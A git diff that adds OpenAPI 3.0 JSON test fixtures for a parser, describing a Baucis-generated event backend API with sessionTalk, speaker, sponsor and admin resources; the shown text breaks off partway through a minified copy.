+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/SessionTalk"
+                        }
+                    },
+                    "404": {
+                        "description": "No sessionTalk was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a sessionTalk by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/sessionTalk"
+                            }
+                        }
+                    }
+                },
+                "operationId": "updateSessionTalk",
+                "summary": "Modify a sessionTalk by its unique ID",
+                "description": "Update an existing sessionTalk by its ID.",
+                "tags": [
+                    "sessionTalk"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/SessionTalk"
+                        }
+                    },
+                    "404": {
+                        "description": "No sessionTalk was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deleteSessionTalkById",
+                "summary": "Delete a sessionTalk by its unique ID",
+                "description": "Deletes an existing sessionTalk by its ID.",
+                "tags": [
+                    "sessionTalk"
+                ]
+            }
+        },
+        "/sessionTalks": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/SessionTalk"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No sessionTalks matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "querySessionTalk",
+                "summary": "Query some sessionTalks",
+                "description": "Query over sessionTalks.",
+                "tags": [
+                    "sessionTalk"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/SessionTalk"
+                        }
+                    },
+                    "404": {
+                        "description": "No sessionTalks matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "createSessionTalk",
+                "summary": "Create some sessionTalks",
+                "description": "Create one or more sessionTalks.",
+                "tags": [
+                    "sessionTalk"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/SessionTalk"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No sessionTalks matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deleteSessionTalkByQuery",
+                "summary": "Delete some sessionTalks by query",
+                "description": "Delete all sessionTalks matching the specified query.",
+                "tags": [
+                    "sessionTalk"
+                ]
+            }
+        },
+        "/speakers/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Speaker"
+                        }
+                    },
+                    "404": {
+                        "description": "No speaker was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "getSpeakerById",
+                "summary": "Get a speaker by its unique ID",
+                "description": "Retrieve a speaker by its ID.",
+                "tags": [
+                    "speaker"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Speaker"
+                        }
+                    },
+                    "404": {
+                        "description": "No speaker was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a speaker by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/speaker"
+                            }
+                        }
+                    }
+                },
+                "operationId": "updateSpeaker",
+                "summary": "Modify a speaker by its unique ID",
+                "description": "Update an existing speaker by its ID.",
+                "tags": [
+                    "speaker"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Speaker"
+                        }
+                    },
+                    "404": {
+                        "description": "No speaker was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deleteSpeakerById",
+                "summary": "Delete a speaker by its unique ID",
+                "description": "Deletes an existing speaker by its ID.",
+                "tags": [
+                    "speaker"
+                ]
+            }
+        },
+        "/speakers": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/Speaker"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No speakers matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "querySpeaker",
+                "summary": "Query some speakers",
+                "description": "Query over speakers.",
+                "tags": [
+                    "speaker"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Speaker"
+                        }
+                    },
+                    "404": {
+                        "description": "No speakers matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "createSpeaker",
+                "summary": "Create some speakers",
+                "description": "Create one or more speakers.",
+                "tags": [
+                    "speaker"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/Speaker"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No speakers matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deleteSpeakerByQuery",
+                "summary": "Delete some speakers by query",
+                "description": "Delete all speakers matching the specified query.",
+                "tags": [
+                    "speaker"
+                ]
+            }
+        },
+        "/sponsors/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Sponsor"
+                        }
+                    },
+                    "404": {
+                        "description": "No sponsor was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "getSponsorById",
+                "summary": "Get a sponsor by its unique ID",
+                "description": "Retrieve a sponsor by its ID.",
+                "tags": [
+                    "sponsor"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Sponsor"
+                        }
+                    },
+                    "404": {
+                        "description": "No sponsor was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a sponsor by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/sponsor"
+                            }
+                        }
+                    }
+                },
+                "operationId": "updateSponsor",
+                "summary": "Modify a sponsor by its unique ID",
+                "description": "Update an existing sponsor by its ID.",
+                "tags": [
+                    "sponsor"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Sponsor"
+                        }
+                    },
+                    "404": {
+                        "description": "No sponsor was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deleteSponsorById",
+                "summary": "Delete a sponsor by its unique ID",
+                "description": "Deletes an existing sponsor by its ID.",
+                "tags": [
+                    "sponsor"
+                ]
+            }
+        },
+        "/sponsors": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/Sponsor"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No sponsors matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "querySponsor",
+                "summary": "Query some sponsors",
+                "description": "Query over sponsors.",
+                "tags": [
+                    "sponsor"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Sponsor"
+                        }
+                    },
+                    "404": {
+                        "description": "No sponsors matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "createSponsor",
+                "summary": "Create some sponsors",
+                "description": "Create one or more sponsors.",
+                "tags": [
+                    "sponsor"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/Sponsor"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No sponsors matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deleteSponsorByQuery",
+                "summary": "Delete some sponsors by query",
+                "description": "Delete all sponsors matching the specified query.",
+                "tags": [
+                    "sponsor"
+                ]
+            }
+        }
+    },
+    "components": {
+        "schemas": {
+            "_config": {
+                "required": [
+                    "key"
+                ],
+                "properties": {
+                    "key": {
+                        "type": "string"
+                    },
+                    "value": {
+                        "type": "string"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "_webhooks": {
+                "required": [
+                    "enabled",
+                    "resource",
+                    "operation",
+                    "httpMethod",
+                    "urlTemplate"
+                ],
+                "properties": {
+                    "enabled": {
+                        "type": "boolean"
+                    },
+                    "resource": {
+                        "type": "string"
+                    },
+                    "operation": {
+                        "type": "string"
+                    },
+                    "httpMethod": {
+                        "type": "string"
+                    },
+                    "urlTemplate": {
+                        "type": "string"
+                    },
+                    "parameters": {
+                        "type": "array",
+                        "items": {
+                            "$ref": "#/components/schemas/_webhooksParameters"
+                        }
+                    },
+                    "contentType": {
+                        "type": "string"
+                    },
+                    "bodyTemplate": {
+                        "type": "string"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "_webhooksParameters": {
+                "required": [
+                    "type",
+                    "key"
+                ],
+                "properties": {
+                    "type": {
+                        "type": "string"
+                    },
+                    "key": {
+                        "type": "string"
+                    },
+                    "value": {
+                        "type": "string"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "_users": {
+                "required": [
+                    "accountType",
+                    "username",
+                    "createdAt",
+                    "enabled",
+                    "role"
+                ],
+                "properties": {
+                    "accountType": {
+                        "type": "string"
+                    },
+                    "username": {
+                        "type": "string"
+                    },
+                    "password": {
+                        "type": "string"
+                    },
+                    "token": {
+                        "type": "string"
+                    },
+                    "createdAt": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "lastAccessOn": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "enabled": {
+                        "type": "boolean"
+                    },
+                    "role": {
+                        "type": "string"
+                    },
+                    "description": {
+                        "type": "string"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "_providers": {
+                "required": [
+                    "name",
+                    "enable",
+                    "autoEnroll",
+                    "order"
+                ],
+                "properties": {
+                    "name": {
+                        "type": "string"
+                    },
+                    "enable": {
+                        "type": "boolean"
+                    },
+                    "autoEnroll": {
+                        "type": "boolean"
+                    },
+                    "defaultRole": {
+                        "type": "string"
+                    },
+                    "order": {
+                        "type": "number",
+                        "format": "double"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "_permissions": {
+                "required": [
+                    "role",
+                    "resource"
+                ],
+                "properties": {
+                    "role": {
+                        "type": "string"
+                    },
+                    "resource": {
+                        "type": "string"
+                    },
+                    "operations.allow": {
+                        "type": "array",
+                        "items": {
+                            "type": "string"
+                        }
+                    },
+                    "operations.deny": {
+                        "type": "array",
+                        "items": {
+                            "type": "string"
+                        }
+                    },
+                    "horizontalSecurity.type": {
+                        "type": "string"
+                    },
+                    "fields.allow": {
+                        "type": "array",
+                        "items": {
+                            "type": "string"
+                        }
+                    },
+                    "fields.deny": {
+                        "type": "array",
+                        "items": {
+                            "type": "string"
+                        }
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "Place": {
+                "required": [
+                    "name",
+                    "location.type"
+                ],
+                "properties": {
+                    "_ownerId": {
+                        "type": "string"
+                    },
+                    "_createdAt": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "name": {
+                        "type": "string"
+                    },
+                    "address": {
+                        "type": "string"
+                    },
+                    "city": {
+                        "type": "string"
+                    },
+                    "zipCode": {
+                        "type": "number",
+                        "format": "double"
+                    },
+                    "image": {
+                        "type": "string"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "location.type": {
+                        "type": "string"
+                    },
+                    "location.coordinates": {
+                        "type": "array",
+                        "items": {
+                            "type": "string"
+                        }
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "SessionTalk": {
+                "required": [
+                    "sessionType",
+                    "name",
+                    "track",
+                    "language"
+                ],
+                "properties": {
+                    "_ownerId": {
+                        "type": "string"
+                    },
+                    "_createdAt": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "sessionType": {
+                        "type": "string"
+                    },
+                    "name": {
+                        "type": "string"
+                    },
+                    "track": {
+                        "type": "number",
+                        "format": "double"
+                    },
+                    "language": {
+                        "type": "string"
+                    },
+                    "starts": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "ends": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "description": {
+                        "type": "string"
+                    },
+                    "speaker": {
+                        "$ref": "#/components/schemas/Speaker"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "Speaker": {
+                "required": [
+                    "name",
+                    "surname"
+                ],
+                "properties": {
+                    "_ownerId": {
+                        "type": "string"
+                    },
+                    "_createdAt": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "name": {
+                        "type": "string"
+                    },
+                    "surname": {
+                        "type": "string"
+                    },
+                    "photo": {
+                        "type": "string"
+                    },
+                    "blog": {
+                        "type": "string"
+                    },
+                    "twitter": {
+                        "type": "string"
+                    },
+                    "linkedin": {
+                        "type": "string"
+                    },
+                    "github": {
+                        "type": "string"
+                    },
+                    "bio": {
+                        "type": "string"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "Sponsor": {
+                "required": [
+                    "name",
+                    "level",
+                    "logo"
+                ],
+                "properties": {
+                    "_ownerId": {
+                        "type": "string"
+                    },
+                    "_createdAt": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "name": {
+                        "type": "string"
+                    },
+                    "level": {
+                        "type": "string"
+                    },
+                    "logo": {
+                        "type": "string"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "ValidationError": {
+                "required": [
+                    "message",
+                    "name",
+                    "kind",
+                    "path"
+                ],
+                "properties": {
+                    "properties": {
+                        "$ref": "#/components/schemas/ValidationErrorProperties"
+                    },
+                    "message": {
+                        "type": "string"
+                    },
+                    "name": {
+                        "type": "string"
+                    },
+                    "kind": {
+                        "type": "string"
+                    },
+                    "path": {
+                        "type": "string"
+                    }
+                }
+            },
+            "ValidationErrorProperties": {
+                "required": [
+                    "type",
+                    "message",
+                    "path"
+                ],
+                "properties": {
+                    "type": {
+                        "type": "string"
+                    },
+                    "message": {
+                        "type": "string"
+                    },
+                    "path": {
+                        "type": "string"
+                    }
+                }
+            }
+        },
+        "responses": {},
+        "parameters": {
+            "id": {
+                "name": "id",
+                "in": "path",
+                "description": "The identifier of the resource.",
+                "type": "string",
+                "required": true
+            },
+            "skip": {
+                "name": "skip",
+                "in": "query",
+                "description": "How many documents to skip. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#skip)",
+                "type": "integer",
+                "format": "int32",
+                "required": false
+            },
+            "limit": {
+                "name": "limit",
+                "in": "query",
+                "description": "The maximum number of documents to send. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#limit)",
+                "type": "integer",
+                "format": "int32",
+                "required": false
+            },
+            "count": {
+                "name": "count",
+                "in": "query",
+                "description": "Set to true to return count instead of documents. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#count)",
+                "type": "boolean",
+                "required": false
+            },
+            "conditions": {
+                "name": "conditions",
+                "in": "query",
+                "description": "Set the conditions used to find or remove the document(s). [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#conditions)",
+                "type": "string",
+                "required": false
+            },
+            "sort": {
+                "name": "sort",
+                "in": "query",
+                "description": "Set the fields by which to sort. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#sort)",
+                "type": "string",
+                "required": false
+            },
+            "distinct": {
+                "name": "distinct",
+                "in": "query",
+                "description": "Set to a path name to retrieve an array of distinct values. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#distinct)",
+                "type": "string",
+                "required": false
+            },
+            "hint": {
+                "name": "hint",
+                "in": "query",
+                "description": "Add an index hint to the query (must be enabled per controller). [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#hint)",
+                "type": "string",
+                "required": false
+            },
+            "comment": {
+                "name": "comment",
+                "in": "query",
+                "description": "Add a comment to a query (must be enabled per controller). [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#comment)",
+                "type": "string",
+                "required": false
+            },
+            "select": {
+                "name": "select",
+                "in": "query",
+                "description": "Select which paths will be returned by the query. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#select)",
+                "type": "string",
+                "required": false
+            },
+            "populate": {
+                "name": "populate",
+                "in": "query",
+                "description": "Specify which paths to populate. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#populate)",
+                "type": "string",
+                "required": false
+            },
+            "X-Baucis-Update-Operator": {
+                "name": "X-Baucis-Update-Operator",
+                "in": "header",
+                "description": "**BYPASSES VALIDATION** May be used with PUT to update the document using $push, $pull, or $set. [doc](https://github.com/wprl/baucis/wiki/HTTP-Headers)",
+                "type": "string",
+                "required": false
+            }
+        },
+        "examples": {},
+        "requestBodies": {},
+        "headers": {},
+        "securitySchemes": {},
+        "links": {},
+        "callbacks": {}
+    }
+}
\ No newline at end of file
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/event-backend/openapi3.json b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/event-backend/openapi3.json
new file mode 100644
index 0000000..6f0f4ba
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/event-backend/openapi3.json
@@ -0,0 +1 @@
+{"openapi":"3.0.0","info":{"title":"api","description":"Baucis generated OpenAPI v.3 documentation.","version":"0.0.1"},"servers":[{"url":"/api"}],"tags":[{"name":"_config","description":"_config resource.","x-resource":true},{"name":"_webhooks","description":"_webhooks resource.","x-resource":true},{"name":"_users","description":"_users resource.","x-resource":true},{"name":"_providers","description":"_providers resource.","x-resource":true},{"name":"_permissions","description":"_permissions resource.","x-resource":true},{"name":"place","description":"Place resource.","x-resource":true},{"name":"sessionTalk","description":"SessionTalk resource.","x-resource":true},{"name":"speaker","description":"Speaker resource.","x-resource":true},{"name":"sponsor","description":"Sponsor resource.","x-resource":true}],"paths":{"/admin-config/{id}":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/id"}],"get":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_config"}},"404":{"description":"No _config was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"get_configById","summary":"Get a _config by its unique ID","description":"Retrieve a _config by its ID.","tags":["_config"]},"put":{"parameters":[{"$ref":"#/components/parameters/X-Baucis-Update-Operator"}],"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_config"}},"404":{"description":"No _config was found with that ID.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"requestBody":{"content":{"application/json":{"description":"Update a _config by sending the paths to be updated in the request body.","schema":{"$ref":"#/components/schemas/_config"}}}},"operationId":"update_config","summary":"Modify a _config by its unique ID","description":"Update an existing _config by its ID.","tags":["_config"]},"delete":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_config"}},"404":{"description":"No _config was found with that ID.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"delete_configById","summary":"Delete a _config by its unique ID","description":"Deletes an existing _config by its ID.","tags":["_config"]}},"/admin-config":{"parameters":[{"$ref":"#/components/parameters/select"},{"$ref":"#/components/parameters/populate"},{"$ref":"#/components/parameters/sort"}],"get":{"parameters":[{"$ref":"#/components/parameters/count"},{"$ref":"#/components/parameters/skip"},{"$ref":"#/components/parameters/limit"},{"$ref":"#/components/parameters/conditions"},{"$ref":"#/components/parameters/distinct"},{"$ref":"#/components/parameters/hint"},{"$ref":"#/components/parameters/comment"}],"responses":{"200":{"description":"Sucessful response. Collection of resources.","schema":{"type":"array","items":{"$ref":"#/components/schemas/_config"}}},"404":{"description":"No admin-config matched that query.","schema":{"type":"string"}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"query_config","summary":"Query some admin-config","description":"Query over admin-config.","tags":["_config"]},"post":{"responses":{"200":{"description":"Sucessful response. Single resource.","schema":{"$ref":"#/components/schemas/_config"}},"404":{"description":"No admin-config matched that query.","schema":{"type":"string"}},"422":{"description":"Validation error.","schema":{"type":"array","items":{"$ref":"#/components/schemas/ValidationError"}}},"default":{"description":"Unexpected error.","schema":{"type":"string"}}},"operationId":"create_config","summary":"Create some admin-config","description":"Create one or more 